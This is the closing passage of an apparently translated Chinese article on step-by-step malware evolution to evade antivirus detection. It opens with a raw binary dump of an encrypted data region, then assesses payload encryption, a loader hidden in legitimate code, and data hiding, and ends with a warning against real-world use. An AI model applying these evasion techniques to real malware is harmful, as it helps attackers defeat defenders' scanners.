q=^Q^W^@¯^Yl<87>Ï<82>Þ½Z<80>9^B^^9ÀdÎ×Ö%±^MÏÌà^U^V[^C^?>o'­^N<87><95><86><9d><91>T^S×ÜËC<9d>8Zd^
]$Ð<9e>^HÔ<97>â<96>ú^Gª^E²/<80>|G"{_ð^-T<9e>kÎd^GMN!+<9b>òfäÎõáð¶ä¬&<85>^HI#^A^Z?<^Gò­¨»g=CÀC·ø
<86>J½¾ó¥<9c>Dü^Cû<85>uO*        f9l©¢^BO<9d>^^^K^McW^î<87>¸^@^@^@^@H<8b>MødH3^L%(^@^@^@t^EèAò
ÿÿÉÃUH<89>åH<81>ì0^A^@^@dH<8b>^D%(^@^@^@H<89>Eø1Àéý^@^@^@JIr<86>ÙÜ9mñ0¶<8a>|3¥y<9a><8d>ÍáçÃé<8a>
^A^Uê­<8a><82><98>½ûÀA^T©ò§;ú<95>Â6yï{ý<84>Æëí¿ª^]i<82><82>^N^]^G\<80>9^BöA0<90>:YÐÛÝÙh^A"a^TaZ
<89>Ö<86>Îó<91>^T^HlOTÆüzV÷^M©ü^UÞàc<97>ØN{á^]¯|ã<89>£ô^?k<94>RÈ\3l^MÈÃcíö·cÁ<97>\#é§<85>qr<88>
ÐiÜ;^GrÑ\^UoMVs<82>:^OT^YËX<8c>Ä<8d>æ÷I ^C·ëV<85>|9í«!5S^^^A?%^@F5L<9e>{Þt^W]^       ^C³Ú¼§[é:
<8b>¯ÎðBAI^?^Z9XB<8f>³ÿ ¥þ«Ü^B^O
      )<98>ñÒPk1+/}-^QáÞ ^[~+^H:Ð^Z^Q±¸^@^@^@^@H<8b>uødH34%(^@^@^@t^Eè

现在这是数据,所以杀毒软件无法对此做出任何假设。事实上,读取和修改您的数据区域是完全合法的。

恢复

  • 难度:硬,复杂的功能需要处理。只差一点就会导致崩溃。
  • 混淆:不错,payload 被加密并且每次都可以刷新,但加载器更大(且复杂)。可以保护敏感数据,因此不再容易读取字符串或值。
  • 安全性:硬盘、网络和 RAM,即使在执行非 payload 操作期间。额外的逻辑可以使其更难通过启发式方法检测到隐藏的功能。
  • 检测方式:简单签名(在加载器上),如果不是变形的。对系统有影响,但一旦看到就太晚了,恶意软件已经运行。

最终总结

在本文中,我展示了恶意软件可能实现的逐步演变。一切都始于核心应用程序,它试图完成其任务,然后演变成一种需要受到扫描保护的新形式。第一个也是最幼稚的想法是加密整个病毒,但一方面,虽然这提供了最大的保护,另一方面,它也很容易被启发式方法检测到。如今,加密检测启发式方法非常先进。

为了减小可攻击面,加载器隐藏在合法代码的某个地方(但在本文中,它不自我保护),并且应用程序的一部分使用不同的密钥进行加密以避免检测。但随着恶意软件的演变,幸运的是杀毒软件的对应软件也在演变,并且启发式方法可以扫描 RAM 或在应用程序运行无效指令时进行检测。下一步是创建一个始终合法的应用程序,其中包含在您最需要时触发的隐藏功能(绕过无效代码)。

这里展示的最后一步是隐藏数据,而不仅仅是代码,通过对这些区域应用类似的技术。这里展示的并非是静态的,并且在不同代之间总是相等的。包括 butler 工具和恶意软件本身的结构,允许您一开始就应用不同的密钥,从而产生不同的第一代应用程序。

再次提醒您,这里的软件是原型。如果您没有完全理解混淆思想背后的所有要点和细节,我劝您不要在野外使用它。一个简单的错误就可能在瞬间毁掉一切。此外,在世界上几乎所有国家,黑客行为都不是合法的操作,如果您试图用您的“黑客”技能给某人留下深刻印象,您肯定会面临法律问题。

历史

  • 2018 年 4 月 14 日:初始版本
© . All rights reserved.